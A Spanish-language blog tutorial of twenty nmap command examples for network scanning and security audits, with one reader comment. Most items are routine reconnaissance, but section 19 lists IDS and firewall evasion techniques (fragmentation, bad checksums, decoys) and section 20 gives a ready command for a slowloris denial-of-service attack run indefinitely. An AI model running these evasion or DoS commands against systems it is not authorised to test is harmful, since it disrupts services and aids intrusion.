Hoy vamos a ver ejemplos prácticos de NMAP, una potente herramienta utilizada en el ámbito de las redes y sobre todo para auditorias de seguridad, esta es una compilación de técnicas para todos los niveles que seguramente te servirán, y si querés dejar alguna será bienvenida a la lista.

La idea es hacer un manual con ejemplos típicos y prácticos a la hora de usar esta potente navaja Suiza en materia de seguridad informática, te recomiendo que te suscribas al blog porque voy a seguir publicando de este tema.

1- Versión de nmap

nmap --version
o
nmap -v

2- Escanear objetivo, con una salida detallada de cada puerto que encuentre, con parámetro -vv

nmap -vv IP

3- Puertos

Especificar un número determinado de puertos, usando -p puerto_inicio-puerto_fin

nmap -vv -p 1-120 IP

Mostrar solo puertos abiertos

nmap --open IP

Escanear los 20 puertos más comunes del objetivo, podemos variar el 20.

nmap --top-ports 20 IP

Detectar las versiones de los servicios remotos

nmap -sV IP

4- Detectando sistema operativo
Vamos a usar el parámetro -O, pero ya es momento de no usar PING en el escaneo porque hace más ruido en el escaneo. Por lo que agregamos -Pn y sumamos un -v para el detalle

nmap -v -Pn -O IP

5- Mostrat paquetes enviados y recibidos

nmap --packet-trace IP

6- Saber el gateway o puerta de enlace desde tu Linux, útil para saber como hacer muchas cosas.

route
/sbin/route
route -n

7- Escanear un rango específico de IP’salida

nmap -vv 192.168.23.100-250

8- Escanear multiples IP’s

nmap 192.168.23.5 192.168.23.6 192.168.23.7
o 
nmap 192.168.23.5,6,7

9- Escanear una red completa
Vamos a usar el argumento -sn para ahorrar tiempo, lo que hace es solo analizar un puerto por host.

nmap -sn 192.168.23.0/24

O para ver solo las IP’s encontradas podemos filtrar con grep.

nmap -sn 192.168.23.1/24 | grep "Nmap scan report for"

10- Resolver nombres
-sL le dice a nmap que haga una consulta DNS simple para la ip especificada. Esto le permite encontrar nombres de host para todas las direcciones IP en una subred sin tener que enviar un paquete a los hosts individuales. Esto es muy útil para detectar la presencia de Active Directory.

nmap -sL IP

Para no resolver los nombres usamos el parámetro -n

nmap -p 80 -n IP

11- Escaneo TCP Sync y UDP
La exploración TCP SYN y UDP tardará un tiempo en generarse, pero es bastante discreta y sigilosa. Este comando verificará cerca de 2000 puertos comunes de TCP y UDP para ver si están respondiendo. Cuando usamos la opción -Pn, esto le dice a nmap que omita el escaneo de ping y asuma que el host está activo. Esto puede ser útil cuando hay un servidor de seguridad que podría estar impidiendo las respuestas icmp.

nmap -sS -sU -PN IP

12- Escaneo TCP SYN y UDP a determinados puertos
Esto es lo mismo que el comando anterior pero escaneando un rango determinado de puertos.

nmap -sS -sU -PN -p 1-65535 IP

13- Escaneando puertos TCP y UDP

Escaneando solo puertos TCP
Este comando es similar a la exploración TCP SYN, sin embargo, en lugar de enviar un paquete SYN y revisar los encabezados, le pedirá al sistema operativo que establezca una conexión TCP a los 1000 puertos comunes.

nmap -sT IP

Escanear solo puertos UDP

nmap -sU IP

14- Exploración agresiva de hosts
A diferencia de algunos de los comandos anteriores, este comando es muy agresivo y molesto. El -A simplemente le dice a Nmap para realizar la comprobación del sistema operativo y la comprobación de versión. El -T4 es para la velocidad, estas opciones son lo que le dice a la rapidez con nmap para llevar a cabo la exploración. La velocidad varía de 0 para lento y sigiloso a 5 para rápido y obvio.

nmap -T4 -A IP/24

Veamos en detalle que es el -T que viene a ser el nivel de agresión
-T0: Muy lento – No recomendable
-T1: Útil para evasión de IDS – Lento
-T2: No interfiere con el objetivo- Lento pero recomendable
-T3: Escaneo por defecto
-T4: Escaneo rápido y agresivo – No recomendable
-T5: Escaneo muy rápido y muy agresivo – No recomendable

15- Escanear equipos desde un archivo
Suponiendo que ya tenemos un archivo de texto por ejemplo, con una IP debajo de la otra, o nombre de equipos, podemos indicar a nmap que trabaje con dicho archivo.

nmap -iL /tmp/test.txt

16- Excluyendo host de un escaneo completo de una red
En el caso de no querer escanear determinados equipos podemos excluir equipos por ejemplo ahora voy a mostrar como quitar la ip que termina con .1 y .254

nmap 192.168.23.0/24 --exclude 192.168.23.1,192.168.23.254

17- Guardar el resultado en un archivo de texto

nmap -oN scan.txt IP
o también podemos hacer
nmap IP > scan.txt

Guardar en un archivo .xml

nmap -oX scan.xml IP

18- Saber cuantos equipos Windows y Linux hay en una red

nmap -F -O 192.168.23.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"

19- NMAP y los Firewalls
Una forma de no hacer tanto ruido, es usar el parámetro -f que permite fragmentar los paquetes enviados, lo que no llamará tanto la atención y tal vez nos permita pasar.

nmap -f IP

Saber si un equipo esta protegido por un Firewall

nmap -sA 192.168.1.254

Usar otro número de MTU
nmap nos permite especificar el MTU (Maximum Transmission Unit), esto puede confundir al firewall y revelarnos datos importantes, los números usados deben ser múltiplos de 8 (8,16,24,32,etc)

nmap --mtu 24 IP

Enviar sumas de comprobación incorrectas
Las sumas de comprobación las usa el protocolo TCP/IP para garantizar integridad, mandando comprobaciones incorrectas puede ayudarnos a descubrir información del objetivo.

nmap --badsum 192.168.23.131

Utilizar señuelos
Esta opción es para evitar que un IDS nos detecte, así que creamos varios señuelos para que no sepan cual es la ip atacante y tal vez hasta podemos confundir un firewall mal configurado.

nmap -n -D 192.168.23.5,10.5.23.2,172.1.23.4,3.4.23.1 IP_Objetivo

Intentar Bypasear el firewall con un script

nmap -sS -T5 192.168.23.131 --script firewall-bypass

20- Lanzar un ataque de DOS

Primero verificamos si el objetivo es vulnerable

nmap --script dos -Pn IP_Objetivo

Y ahora en mi ejemplo el objetivo era vulnerable a slowloris. El ataque sería:

nmap IP_Objetivo -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true

2 Comentarios

  1. En el «18- Saber cuantos equipos Windows y Linux hay en una red» yo cambiaría las ; por && para evitar confusiones si el comando nmap genera error.
    i.e.:
    nmap -F -O 192.168.23.1-255 | grep «Running: » > /tmp/os && echo «$(cat /tmp/os | grep Linux | wc -l) Linux device(s)» && echo «$(cat /tmp/os | grep Windows | wc -l) Window(s) devices»

Deja un comentario